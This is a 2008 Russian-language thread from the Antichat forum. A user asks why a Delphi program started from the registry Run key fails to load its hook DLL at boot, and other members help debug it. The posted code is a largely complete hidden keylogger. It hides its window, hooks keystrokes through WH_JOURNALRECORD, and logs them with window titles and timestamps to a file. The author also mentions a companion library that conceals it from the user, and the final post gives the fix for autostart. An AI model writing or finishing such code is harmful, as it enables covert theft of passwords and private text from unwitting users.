Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
Проблема с загрузкой dll при автозапуске [delphi] |

26.03.2008, 20:30
|
|
Познающий
Регистрация: 01.03.2008
Сообщений: 68
Провел на форуме: 140772
Репутация:
72
|
|
Проблема с загрузкой dll при автозапуске [delphi]
Вознила проблема такого плана: файл загрузчик библиотеки dll прописан в автозапуске винды, при обычном запуске все протекает нормально программа подключает dll, но вот при автозапуске(после перезагрузки или выключения ПК) файл незагружает dll или загружает, но функции библиотеки непашут. Библиотека находится в той же папке, что и программа загрузчик, атозапуск осуществляется через реестр вот отсюда: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Run.
Подскажите как решить данную проблему.
Код подключения к dll:
Код:
function FookKB: Longint;stdcall; external 'bbl.dll' name 'InstallHook';
function UnFookKB: Longint;stdcall; external 'bbl.dll' name 'RemoveHook';
Сама dll:
Код:
var
Hk: HHook;
function Proc(nCode: Integer; wParam, lParam: Integer): Integer; stdcall;
function MainWnd: HWnd;
begin
Result := FindWindow( nil, 'Hook' );
end;
var K: HKL;
begin
if nCode >= 0 then
begin
case nCode of
HSHELL_WINDOWACTIVATED,
HSHELL_LANGUAGE:
begin
K:=GetKeyboardLayout(0);
SendMessage( MainWnd, $0400 + 2, wParam, k );
end;
end;
end;
Result := CallNextHookEx( Hk, nCode, wParam, lParam);
end;
procedure InstallHook;
begin
Hk := SetWindowsHookEx( WH_SHELL, @Proc, Hinstance, 0 );
end;
procedure RemoveHook;
begin
UnhookWindowsHookEx( Hk );
end;
exports InstallHook, RemoveHook;
Последний раз редактировалось Dr.KoD; 26.03.2008 в 20:49..
|
|
|

26.03.2008, 20:39
|
|
Постоянный
Регистрация: 08.05.2006
Сообщений: 816
Провел на форуме: 1845671
Репутация:
1338
|
|
Dr.KoD Нужно ещё код загрузчика для полноты дела 
А так при запуске загрузчика системой. Самаже система анализирует експорт в твоем загрузчике и пытается найти dll в ПатчДиректориях... Может беда с путями?
|
|
|

26.03.2008, 21:29
|
|
Познающий
Регистрация: 01.03.2008
Сообщений: 68
Провел на форуме: 140772
Репутация:
72
|
|
Вот собсна загрузчик, но о каких путях может идти реч если все находится в одной папке, хотя делал и так чтобы грузилась из текущей директории притом сбда еще я прицепляю библеотеку, которая прячет всю эту байду от глаз юзверя как ни странно, но она загружается, а вот эта нехочет никаким образом:
Код:
const
WinTitle='Hook';
{$EXTERNALSYM WM_DESTROY}
WM_DESTROY = $0002;
{$EXTERNALSYM WM_USER}
WM_USER = $0400;
var
Handle : HWND;
WinClass: TWndClass;
Msg: TMsg;
LangInt:integer;
OLDwnd , NEWwnd: string;
h : hhook;
LogFile: string;
function FookKB: Longint;stdcall; external 'bbl.dll' name 'InstallHook';
function UnFookKB: Longint;stdcall; external 'bbl.dll' name 'RemoveHook';
function AnsiUpperCase(const S: string): string;
var
Len: Integer;
begin
Len := Length(S);
SetString(Result, PChar(S), Len);
if Len > 0 then CharUpperBuff(Pointer(Result), Len);
end;
function AnsiLowerCase(const S: string): string;
var
Len: Integer;
begin
Len := Length(S);
SetString(Result, PChar(S), Len);
if Len > 0 then CharLowerBuff(Pointer(Result), Len);
end;
function FileExists( const FileName : String ) : Boolean;
var
Code: Integer;
begin
Code := GetFileAttributes(PChar(FileName));
Result := (Code <> -1) and (FILE_ATTRIBUTE_DIRECTORY and Code = 0);
end;
Function GetDateTime:string;
var
DT : TSystemTime;
Date,Time: array[0..32]of char;
begin
GetLocalTime(DT);
GetDateFormat(LOCALE_USER_DEFAULT,0,@DT,nil,Date,sizeOf(Date));
GetTimeFormat(LOCALE_USER_DEFAULT,0,@DT,nil,Time,sizeOf(Time));
Result:= date + ' | ' + time;
end;
procedure WriteToTxt(fname,text: string);
var
F: File;
buf: array[0..2500] of Char;
I : integer;
begin
AssignFile(F, fname);
If not FileExists(fname) then
Rewrite(f);
Reset(f,1);
Seek(F, system.filesize(F) );
for i:=1 to length(text) do buf[i-1]:=text[i];
BlockWrite(F, buf, length(text));
CloseFile(F);
end;
Function X_ScanKey(Key:AnsiString;
Lay:integer;
Ch,sh:boolean
):string;
begin
result:=key;
key:= AnsiLowerCase(key);
if length(key)>1 then
begin
if key='space' then key:=' ' else
if key='enter' then key:=#13#10 else
Key:='{'+key+'}';
result:=key;
exit;
end;
if Lay = 1 then
begin
if sh then begin
if key = '`' then key:= '~';
// чуток обрезал для экономии места в посте
if key = '/' then key:='?';
end;
end else if Lay = 2
then
begin
if key = '/' then key:='.';
if key = '`' then key:='ё';
if key = 'q' then key:='й';
// чуток обрезал для экономии места в посте
if key = '.' then key:='ю';
if sh then begin
if key = '\' then key:='/';
// чуток обрезал для экономии места в посте
if key = '.' then key:=',';
end;
end;
if ch then Result:=AnsiUpperCase(key) else Result:=AnsiLowerCase(key);
end;
Procedure Proc(code:integer; wParam:WPARAM;lParam:LPARAM );{:lresult;}stdcall;
function AC:string;
var
Handle:THandle;
Len:LongInt;
Title:string;
begin
Handle:=GetForegroundWindow;
Len:=GetWindowTextLength(Handle) + 1;
SetLength(Title,Len);
GetWindowText(Handle,PChar(Title),Len);
AC:=(Title);
end;
function IsCapsLockPressed:boolean;
var KeyState : TKeyboardState;
function State(Ctrl : Word) : boolean;
begin Result:=((KeyState[ctrl] and 1)=1); end;
begin
Result:=false;
if GetKeyboardState(KeyState)=False then exit;
Result:=State(vk_Capital);
end;
Function IsShiftPressed:boolean;
begin
if GetKeyState(VK_SHIFT) < 0 then result:=true else result:=false;
end;
function xLng(hHn:THandle):integer;
begin
xLng:=1;
if (hHn and $FF) = 9 then xLng:=1
else if (hHn = $419) then xLng:=2;
end;
var
c:array[0..255] of char;
nScan:integer;
iSuPPer:boolean;
begin
if ( (code>=0)and(teventmsg(pointer(lparam)^).message=$0100) )
or ( (code>=0) and (teventmsg(pointer(lparam)^).message=$0104) )
then
begin
nScan:=hibyte((teventmsg(pointer(lparam)^).paramL));
nscan:=nscan shl 16;
GetKeyNameText(nScan,c,256);
if (IsCapsLockPressed and IsShiftPressed) then iSuPPer:=False else
if (IsCapsLockPressed or IsShiftPressed) then iSuPPer:=True else iSuPPer:=false;
NEWwnd := AC;
if OLDwnd <> NEWwnd then
begin
OLDwnd := NEWwnd;
WriteToTxt(LogFile,'[ '+OLDwnd+' ] Time: ' + GetDateTime + #13#10);
end;
WRiteToTxt(LogFile, X_ScanKey(c,LangInt,iSuPPer,IsShiftPressed) );
end;
end;
function WndProc(hnd, wmsg, wparam, lparam: integer): LongInt; stdcall;
function xLng(hHn:THandle):integer;
begin
xLng:=1;
if (hHn and $FF) = 9 then xLng:=1
else if (hHn = $419) then xLng:=2;
end;
begin
case Wmsg of
WM_USER+1, WM_USER+2:
begin
LangInt := xLng ( LOWORD( lParam ) ) ;
end;
WM_DESTROY:
begin
unhookwindowshookex(h);
UnFookKB;
ExitProcess(hnd);
end;
end;
Result:=DefWindowProc(hnd, wmsg, wparam, lparam);
end;
Procedure AppOn;
begin
GetStart;
ParamStr(0);
with WinClass do
begin
lpszClassName:=WinTitle;
lpfnWndProc:=@WndProc;
cbClsExtra:=0;
cbWndExtra:=0;
hInstance:=hInstance;
style:=CS_HREDRAW+CS_VREDRAW+CS_DBLCLKS;
hbrBackground:=COLOR_WINDOW;
end;
RegisterClass(WinClass);
Handle:=CreateWindowEx(WS_EX_WINDOWEDGE, WinTitle, WinTitle, WS_SYSMENU, integer(CW_USEDEFAULT), integer(CW_USEDEFAULT), 0, 0, 0, 0, hInstance, nil);
end;
begin
AppOn;
ShowWindow(Handle, SW_HIDE);
FookKB;
h:=setwindowshookex(WH_JOURNALRECORD,@Proc,hinstance,0);
LogFile:= 'file.txt';
while GetMessage(Msg, 0, 0, 0) do
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end.
|
|
|

26.03.2008, 21:47
|
|
Постоянный
Регистрация: 08.05.2006
Сообщений: 816
Провел на форуме: 1845671
Репутация:
1338
|
|
Если все в одной папке, то гуд!  ))
Попробуй отцепить байду, которая прячет все... А только работай с либой, с которой щас проблемы...
P.s. пенч. не умею. 
|
|
|

26.03.2008, 22:04
|
|
Познающий
Регистрация: 01.03.2008
Сообщений: 68
Провел на форуме: 140772
Репутация:
72
|
|
Сообщение от GlOFF
Если все в одной папке, то гуд!  ))
Попробуй отцепить байду, которая прячет все... А только работай с либой, с которой щас проблемы...
P.s. пенч. не умею. 
Да уже отцеплял, бестолку, непашет этот вариант.
Неужели никто несталкивался с такой проблемой?
|
|
|

26.03.2008, 22:18
|
|
Участник форума
Регистрация: 09.12.2006
Сообщений: 135
Провел на форуме: 426226
Репутация:
726
|
|
Dr.KoD а для чего тебе команда:?
h=setwindowshookex(WH_JOURNALRECORD,@Proc,hinstanc e,0);
Загрузчик у тебя тоже dll ?
|
|
|

26.03.2008, 23:22
|
|
Познающий
Регистрация: 01.03.2008
Сообщений: 68
Провел на форуме: 140772
Репутация:
72
|
|
Сообщение от Xserg
Dr.KoD а для чего тебе команда:?
h=setwindowshookex(WH_JOURNALRECORD,@Proc,hinstanc e,0);
Ну а ты попробуй убери этот кусочек и увидиш что будит.
|
|
|

26.03.2008, 23:44
|
|
Участник форума
Регистрация: 09.12.2006
Сообщений: 135
Провел на форуме: 426226
Репутация:
726
|
|
Добавь
Код:
function InstallHook:dword;
begin
Hk := SetWindowsHookEx( WH_SHELL, @Proc, Hinstance, 0 );
Return:=Hk;
end;
--------------
X:=FookKB;
И посмотри чему равен X в обоих случаях.
|
|
|

27.03.2008, 00:29
|
|
Познающий
Регистрация: 01.03.2008
Сообщений: 68
Провел на форуме: 140772
Репутация:
72
|
|
Может Result:=Hk, а то некомпилится, а так и это пробовал, но положение неменяется.
Пир обычном запуске все пашет, а вот при автозагрузке нехочет.
|
|
|

28.03.2008, 21:00
|
|
Познающий
Регистрация: 01.03.2008
Сообщений: 68
Провел на форуме: 140772
Репутация:
72
|
|
Кароч все сделал, оказалось все просто до безобразия, в самом конце dll добавляем:
Код:
begin
InstallHook;
end.
И после этого все грузится замечательно.
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|